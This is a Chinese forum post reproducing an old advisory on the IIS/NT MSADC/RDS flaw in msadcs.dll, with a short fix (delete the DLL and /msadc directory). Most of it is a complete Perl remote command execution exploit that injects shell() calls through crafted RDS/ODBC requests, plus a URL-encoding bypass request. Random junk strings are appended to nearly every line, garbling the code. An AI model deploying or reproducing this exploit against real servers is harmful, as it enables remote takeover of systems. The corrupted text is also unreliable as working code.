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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) i?;#Z Nh  
AU}kIm_+  
涉及程序: u}|v;:|j  
Microsoft NT server d&raHF*  
5RFro^S9E  
描述: Q?1J<(oq9  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 {59 >U~  
4=/jh:h  
详细: !%ju.Xs8  
如果你没有时间读详细内容的话,就删除: E;{RNf|  
c:\Program Files\Common Files\System\Msadc\msadcs.dll m*A b<$y  
有关的安全问题就没有了。 GWWg3z.o"W  
f? @Qt<+k  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 \)rMC]  
$!MP0f\q g  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 vI0,6fOd6  
关于利用ODBC远程漏洞的描述,请参看: \fiy[W/k  
/51$o\4 S  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OKlR`Vaty  
D 5n\h5  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 dk nM|  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp A,~KrRd  
7@%qm|i>w  
这里不再论述。 TB* t^ E  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 6XF Ufi+  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Sx'oa$J  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 7@\.()  
"Zh,;)hS  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" wbAwmOiZ  
dGm%If9P  
#!perl $f0u  
# @jm+TW  
# MSADC/RDS 'usage' (aka exploit) script @n?"*B  
# 41<h|WA  
# by rain.forest.puppy z$R&u=J  
# Nh}-6|M  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ))f@9m  
# beta test and find errors! Rw{' O]Q*  
-Pp{aF e  
use Socket; use Getopt::Std; pxgf%P<7  
getopts("e:vd:h:XR", \%args); 4@3\Ihv  
c-(RjQ~M5  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; H'zAMGZa  
#p>&|I  
if (!defined $args{h} && !defined $args{R}) { :?\29j#*V  
print qq~ iYgVSVNg  
Usage: msadc.pl -h <host> { -d <delay> -X -v } t!Cz;ajNi  
-h <host> = host you want to scan (ip or domain) x\8g ICf  
-d <seconds> = delay between calls, default 1 second 4X]/8%]V  
-X = dump Index Server path table, if available t3Gy *B  
-v = verbose Os-Z_zSl6  
-e = external dictionary file for step 5 9dNkKMc@  
SNOc1c<~  
Or a -R will resume a command session JxtzI2  
<q$Tk,  
~; exit;} P|@[D=y  
}6\,kFc  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; iKE&yO3  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Awxm[:r>^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} N^$q;%  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #%k_V+o3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 8c-ys-"#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } iv_3R}IbX  
JI]Lz1i  
if (!defined $args{R}){ $ret = &has_msadc; f&4+-w.:V|  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} y EfAa6  
@y7KP$t  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" e:nByzdH0[  
. "cmd /c "; F t11?D B  
$in=<STDIN>; chomp $in; S/)),~`4  
$command="cmd /c " . $in ; 9;v3 (U+:  
#~nXAs]Q  
if (defined $args{R}) {&load; exit;} y/Y}C.IWp)  
" $farDDoF  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 3-hcKE  
&try_btcustmr; >y#MEN>?  
V'=;M[&  
print "\nStep 2: Trying to make our own DSN..."; !AE;s}v)0{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _lkVT']  
j% 7Gje[  
print "\nStep 3: Trying known DSNs..."; lqOpADLS3  
&known_dsn; #Mn?Nn  
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print "\nStep 4: Trying known .mdbs..."; w/o^OjwQ  
&known_mdb; eUQmW^  
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if (defined $args{e}){ tq h)yr;  
print "\nStep 5: Trying dictionary of DSN names..."; ,\"x#Cc f  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }|| p#R@?  
1/?Wa  
print "Sorry Charley...maybe next time?\n"; |OF3O,5z  
exit; #oTVfY#  
"KK}} $>  
############################################################################## ,H"}Rw  
S;#:~?dU  
sub sendraw { # ripped and modded from whisker a%m )8N;C  
sleep($delay); # it's a DoS on the server! At least on mine... 13/,^?  
my ($pstr)=@_; ffL]_E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || plB8iN`x<  
die("Socket problems\n"); 59D '*!l-  
if(connect(S,pack "SnA4x8",2,80,$target)){ {l$)X  
select(S); $|=1; A4@z+ebb l  
print $pstr; my @in=<S>; {z_cczJ-  
select(STDOUT); close(S); /ojwOJ  
return @in; a. D cmy{  
} else { die("Can't connect...\n"); }} s3JzYDpy  
!`=iKe&%E  
############################################################################## A'jL+dI.  
Q" h]p  
sub make_header { # make the HTTP request mv:@D  
my $msadc=<<EOT u-iQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \Qah*1  
User-Agent: ACTIVEDATA jm<^WQ%Cc  
Host: $ip 0qFO+nC  
Content-Length: $clen *(yw6(9%  
Connection: Keep-Alive c{1)- &W  
? 3fnt"  
ADCClientVersion:01.06 Zj]tiN f\"  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 2Xv}JPS2As  
>x6\A7  
--!ADM!ROX!YOUR!WORLD! t=Rl`1 =(K  
Content-Type: application/x-varg k8st XW-w  
Content-Length: $reqlen hk5!$#^  
K\Q4u4DjbJ  
EOT %1k"K~eu  
; $msadc=~s/\n/\r\n/g; -FZNk}  
return $msadc;} 1VFCK&  
}|Q\@3&  
############################################################################## &&<l}E  
Szu @{lpP@  
sub make_req { # make the RDS request 8v4krz<Iq  
my ($switch, $p1, $p2)=@_; igTs[q=Ak  
my $req=""; my $t1, $t2, $query, $dsn; K{I"2c  
5Xxdm-0  
if ($switch==1){ # this is the btcustmr.mdb query :dbO|]Xf  
$query="Select * from Customers where City=" . make_shell(); Y54yojvV  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . $> QJ%v9+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {wSz >,  
nt>3i! l  
elsif ($switch==2){ # this is general make table query /!Ag/SmS!9  
$query="create table AZZ (B int, C varchar(10))"; P|ibUxSA~,  
$dsn="$p1";} J3aom,$o  
}KUK|p5  
elsif ($switch==3){ # this is general exploit table query !U4YA1>>  
$query="select * from AZZ where C=" . make_shell(); g/$RuT2U  
$dsn="$p1";} G L0P&$h  
aO inD  
elsif ($switch==4){ # attempt to hork file info from index server r\fkx>  
$query="select path from scope()"; $ZyOBxI  
$dsn="Provider=MSIDXS;";} 4Hf'/%kW  
XLiwE$:t%  
elsif ($switch==5){ # bad query ~5|R`%  
$query="select"; l=P)$O|=w  
$dsn="$p1";} VSUWX1k4%  
)Az0.}  
$t1= make_unicode($query); b (@GKH"W  
$t2= make_unicode($dsn); Es}`S Ie/  
$req = "\x02\x00\x03\x00"; H'$H@Kn]-  
$req.= "\x08\x00" . pack ("S1", length($t1)); :##$-K*W"  
$req.= "\x00\x00" . $t1 ; S3HyB b  
$req.= "\x08\x00" . pack ("S1", length($t2)); vD#kH 1  
$req.= "\x00\x00" . $t2 ; voRb>xF  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; g51UIN]o-  
return $req;} Zp{K_ec{  
B)DuikV.D  
############################################################################## :/PxfN5  
_8PNMbv{  
sub make_shell { # this makes the shell() statement +pK35u  
return "'|shell(\"$command\")|'";} VPO~veQ  
PQ_A^95  
############################################################################## M7Xn=jc  
be-HF;lZe'  
sub make_unicode { # quick little function to convert to unicode @`B_Q v@  
my ($in)=@_; my $out; >f&L7@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;=P!fvHk  
return $out;} D{d%*hlI 3  
t&JOASYC  
############################################################################## d7X7_  
mg._c  
sub rdo_success { # checks for RDO return success (this is kludge) QaE!?R  
my (@in) = @_; my $base=content_start(@in); (8ct'Q;  
if($in[$base]=~/multipart\/mixed/){ PVxu8n  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ~S~+'V,d  
return 0;} @v&P;=lU  
w?*79 u  
############################################################################## 4k{xo~+%,  
_XT;   
sub make_dsn { # this makes a DSN for us 2Gj)fMK38  
my @drives=("c","d","e","f"); 4,YL15.  
print "\nMaking DSN: "; k]-Q3 V  
foreach $drive (@drives) { ;c|_z 9+  
print "$drive: "; l%0-W  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . c*<BU6y  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" "ig)7X+Wz|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); M;AvOk|&  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; pIpdVKen  
return 0 if $2 eq "404"; # not found/doesn't exist M|@@ LJ'  
if($2 eq "200") { k=p[Mlic/  
foreach $line (@results) { t5 ^hZZ  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} !YO'u'4<aK  
} return 0;} Mg}/gO% o  
D8*6h)~  
############################################################################## }=|{"C  
/VEK<.,aMv  
sub verify_exists { rN.8-  
my ($page)=@_; aS>cXJ;=  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 3 Sf':N`u  
return $results[0];} ;U a48pSv  
?Ec{%N%  
############################################################################## 1x##b [LC  
/Wl8Jf7'  
sub try_btcustmr { (*vBpJyz%  
my @drives=("c","d","e","f"); plr3&T~,&S  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b ettOg  
&N/dxKZcc  
foreach $dir (@dirs) {  ]sP  
print "$dir -> "; # fun status so you can see progress Zv mkb%8  
foreach $drive (@drives) { ;5T}@4m|r  
print "$drive: "; # ditto 5TeGdfu @  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; rkdA4'66w  
$reqlenlen=length( "$reqlen" ); QAl4w)F  
$clen= 206 + $reqlenlen + $reqlen; 6N Ogi  
bQN3\mvY  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); /c!^(5K fT  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} noB8*n0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} I+3=|Ve f  
fX\y/C  
############################################################################## e:N;Jx#  
|RXXj[z  
sub odbc_error { b>#dMRK  
my (@in)=@_; my $base; ;/ |tU o$  
my $base = content_start(@in); psiuoYf  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8090+ ( U  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IZQ*D)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {7$jwk  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <wd;W;B  
return $in[$base+4].$in[$base+5].$in[$base+6];} ?} E M,  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; %SCt_9u  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . /#t::b+>x  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1@TL>jq  
/&czaAR-  
############################################################################## qMA";Frt3N  
NCo!n$O1~  
sub verbose { rY@9nQ\>g  
my ($in)=@_; 4}*.0'Hz  
return if !$verbose; 9`^(M^|c  
print STDOUT "\n$in\n";} j`Ek:  
]|K6Z>V  
############################################################################## >xF&>SDC  
qq?o^_^4  
sub save { sS4V(:3s  
my ($p1, $p2, $p3, $p4)=@_; t -}IKrbv  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ![I|hB  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Dwr"-  
close OUT;} LU@1Gol  
]vV)$xMX  
############################################################################## $n47DW &  
Z?&ZgaSz  
sub load { /m^G 99N  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :}#j-ZCC"  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); xDS]k]/(T  
@p=<IN>; close(IN); 7.)_H   
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 3'0Jn6(  
$target= inet_aton($ip) || die("inet_aton problems"); tt6GtYrC 1  
print "Resuming to $ip ..."; +nB0O/m'U  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; RHbbj}B  
if($p[1]==1) { x]R0zol  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ]!jfrj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; cc1M9kVi  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 0$=U\[og  
if (rdo_success(@results)){print "Success!\n";} +n%8*F&  
else { print "failed\n"; verbose(odbc_error(@results));}} sK/ymEfRv  
elsif ($p[1]==3){ FGm!|iI  
if(run_query("$p[3]")){ TnKOr~@*  
print "Success!\n";} else { print "failed\n"; }} hOFvM&$  
elsif ($p[1]==4){ YuJ{@"H  
if(run_query($drvst . "$p[3]")){ }!|$;3t+c  
print "Success!\n"; } else { print "failed\n"; }} E]a;Ydf~  
exit;} q]Xu #:X  
z/p^C~|}  
############################################################################## Y ;E'gP-J  
$S2 /*  
sub create_table { tWaGCxaE  
my ($in)=@_; @`^Z5n.4  
$reqlen=length( make_req(2,$in,"") ) - 28; bTAY5\wB  
$reqlenlen=length( "$reqlen" ); /L|x3RHs  
$clen= 206 + $reqlenlen + $reqlen; TT#V'r\  
my @results=sendraw(make_header() . make_req(2,$in,"")); 376z~  
return 1 if rdo_success(@results); lh XD9ed  
my $temp= odbc_error(@results); verbose($temp); Tfv @oPu  
return 1 if $temp=~/Table 'AZZ' already exists/; &%(SkL_]  
return 0;} *%atE  
$ )2zz>4  
############################################################################## SD@ 0X[  
?=-/5A4K  
sub known_dsn { y4=T0[ V  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go q& KNK  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", id`RscV]  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", >f1fvv6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); `JGW8 _  
%t74*cX  
foreach $dSn (@dsns) { M[-/&;`f@  
print "."; bB*cd!7y  
next if (!is_access("DSN=$dSn")); uG YH4  
if(create_table("DSN=$dSn")){ OI6m>XH?  
print "$dSn successful\n"; t!B,%,Dp  
if(run_query("DSN=$dSn")){ J'WOqAnPZ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1r*@1y<0"  
print "Something's borked. Use verbose next time\n";}}} print "\n";} VuK>lY &  
0r!F]Rm-^  
############################################################################## p`52  
IEkbVIA(  
sub is_access { INCD5dihJ  
my ($in)=@_; Mdp'u$^!  
$reqlen=length( make_req(5,$in,"") ) - 28; ~u[1Vz4#3  
$reqlenlen=length( "$reqlen" ); j|p=JrCJ  
$clen= 206 + $reqlenlen + $reqlen; f%[xl6VE;  
my @results=sendraw(make_header() . make_req(5,$in,"")); n 1^h;2gz  
my $temp= odbc_error(@results); Ruwp"T}mF  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); zh(=kS `  
return 0;} '9&@?P;  
<'hoN/g  
############################################################################## P^ lzbWj^  
L i 9$N"2  
sub run_query { Tn\{*A  
my ($in)=@_; ;Cty"H,  
$reqlen=length( make_req(3,$in,"") ) - 28; {CTJX2&  
$reqlenlen=length( "$reqlen" ); ^bdXzjf  
$clen= 206 + $reqlenlen + $reqlen; N{M25ucAHl  
my @results=sendraw(make_header() . make_req(3,$in,"")); dAOJ: @y  
return 1 if rdo_success(@results); W58%Zz4a  
my $temp= odbc_error(@results); verbose($temp); pm[i#V<v  
return 0;} 3mg:9]X9  
,WW=,P  
############################################################################## z  61Fq  
LA/Qm/T  
sub known_mdb { #)S&Z><<  
my @drives=("c","d","e","f","g"); qIh9? |`U  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qamq9F$V  
my $dir, $drive, $mdb;   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; )N\B C  
dAM]ZR<  
# this is sparse, because I don't know of many qHd7C3  
my @sysmdbs=( "\\catroot\\icatalog.mdb", zq3f@xOK  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", WU,b<PU &  
"\\system32\\certmdb.mdb", )vuIO(8F#  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 3&+nV1  
Z:2%gU&W  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", E9 @Sc>e  
"\\cfusion\\cfapps\\forums\\forums_.mdb", q{f (T\  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", s<3M_mt  
"\\cfusion\\cfapps\\security\\realm_.mdb", <R%TCVwC@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", { qCFd  
"\\cfusion\\database\\cfexamples.mdb", t2m7Yh5B  
"\\cfusion\\database\\cfsnippets.mdb", K<pZ*l  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", }-9 c1&m  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", y*=Ipdj  
"\\cfusion\\brighttiger\\database\\cleam.mdb", VG50n<m9  
"\\cfusion\\database\\smpolicy.mdb", Q=#FvsF#z3  
"\\cfusion\\database\cypress.mdb", 2j ]uB0  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", $Ny:At  
"\\website\\cgi-win\\dbsample.mdb", WfTl\Dxw  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", dqFp"Xe"%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" .CW,Td3f!  
); #these are just _E/  
foreach $drive (@drives) { "2 :zWh7|  
foreach $dir (@dirs){ xNLgcb@v>  
foreach $mdb (@sysmdbs) { q:vGGK^  
print "."; wZKmU  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .4<lw  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; f<'D?d)L^  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ W"A3$/nq^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; N]\)Ok  
} else { print "Something's borked. Use verbose next time\n"; }}}}} r!|h3*YA  
Ip *8R]W  
foreach $drive (@drives) { Ev3,p`zS._  
foreach $mdb (@mdbs) { 7m:TY>{  
print "."; nXjSf  
if(create_table($drv . $drive . $dir . $mdb)){ }n"gX>e~  
print "\n" . $drive . $dir . $mdb . " successful\n"; J(P'!#z^  
if(run_query($drv . $drive . $dir . $mdb)){ DH4IF i>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; s;sr(34  
} else { print "Something's borked. Use verbose next time\n"; }}}} 15Jc PDV  
} $)6M@S  
Wo,93]  
############################################################################## 0;4 YU%u  
TnQW ~_:  
sub hork_idx { &(|Ot`el]v  
print "\nAttempting to dump Index Server tables...\n"; 152LdZevF  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 2|NQ5OA0  
$reqlen=length( make_req(4,"","") ) - 28; Oa M~rze  
$reqlenlen=length( "$reqlen" ); O]61guxro  
$clen= 206 + $reqlenlen + $reqlen; '#Do( U'  
my @results=sendraw2(make_header() . make_req(4,"","")); J\ J3 'u  
if (rdo_success(@results)){ P=s3&NDD  
my $max=@results; my $c; my %d; 9eR";Wm])  
for($c=19; $c<$max; $c++){ 'rVB2 `z-  
$results[$c]=~s/\x00//g; Id8e%)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; DwWm(8&6;}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; *V[I&dKq  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; z>'vS+axV  
$d{"$1$2"}="";} =CjWPZShV  
foreach $c (keys %d){ print "$c\n"; } b%d,X-3  
} else {print "Index server doesn't seem to be installed.\n"; }} `v'yGsIV  
lc]cs D  
############################################################################## @iBmOt>3  
g(G$*#}o8A  
sub dsn_dict { SN[ar&I  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 'Axe:8LA'  
while(<IN>){ t5P8?q\  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @![1W@J  
next if (!is_access("DSN=$dSn")); _ G2)=yj]  
if(create_table("DSN=$dSn")){ ?>gr9w\  
print "$dSn successful\n"; S9'Xsh  
if(run_query("DSN=$dSn")){ ;3%Y@FS@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { UVW4KUxR  
print "Something's borked. Use verbose next time\n";}}} vjA!+_I6  
print "\n"; close(IN);} #Kx @:I  
Tz0XBH_  
############################################################################## _3#_6>=M  
EZT 8^m  
sub sendraw2 { # ripped and modded from whisker BaMF5f+  
sleep($delay); # it's a DoS on the server! At least on mine... b~<:k\EE  
my ($pstr)=@_; Mq#Hi9SKY  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .LbAR u  
die("Socket problems\n"); abS3hf  
if(connect(S,pack "SnA4x8",2,80,$target)){ !JVv`YN  
print "Connected. Getting data"; F'JT7# eX  
open(OUT,">raw.out"); my @in; <Ynrw4[)t  
select(S); $|=1; print $pstr; ~n(LBA  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 0r?]b*IEK  
close(OUT); select(STDOUT); close(S); return @in; Y@ vC!C  
} else { die("Can't connect...\n"); }} 5'<a,,RKu  
NSq29#  
############################################################################## 'a:';hU3f  
R0bgt2J  
sub content_start { # this will take in the server headers FL&L$#X  
my (@in)=@_; my $c; <UTO\w%  
for ($c=1;$c<500;$c++) { Zcg-i:@  
if($in[$c] =~/^\x0d\x0a/){ ,C:^K`k&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } kUr/*an  
else { return $c+1; }}} R38 \&F  
return -1;} # it should never get here actually Yjl:i*u/  
8A u W>7_  
############################################################################## |;I"Oc.w^R  
7f<@+&  
sub funky { 1Ve~P"w  
my (@in)=@_; my $error=odbc_error(@in); ~B7<Yg  
if($error=~/ADO could not find the specified provider/){ 7|o}m}yVx  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; %zhSSB =BJ  
exit;} 3T[zieX  
if($error=~/A Handler is required/){ czB),vooz  
print "\nServer has custom handler filters (they most likely are patched)\n"; b'vIX< g  
exit;} _ D"S  
if($error=~/specified Handler has denied Access/){ (nYGN$qC9  
print "\nServer has custom handler filters (they most likely are patched)\n"; kjt(OFh'Y+  
exit;}} l%qh^0  
by$mD_sr  
############################################################################## \tP*Pz  
NceK>:: 56  
sub has_msadc { AKS. XW  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); |:SIyXGbY  
my $base=content_start(@results); Zv9%}%7p  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); e2pFX?  
return 0;} 2(P<TP._E  
LKZv#b[h  
######################## p }Bh  
g!z &lQnZ  
,L-V?B(UQ  
解决方案: pIKfTkSqH  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll E `V?Io  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Q<yvpT(  
:!FGvR6  
拿出来充数 哈哈
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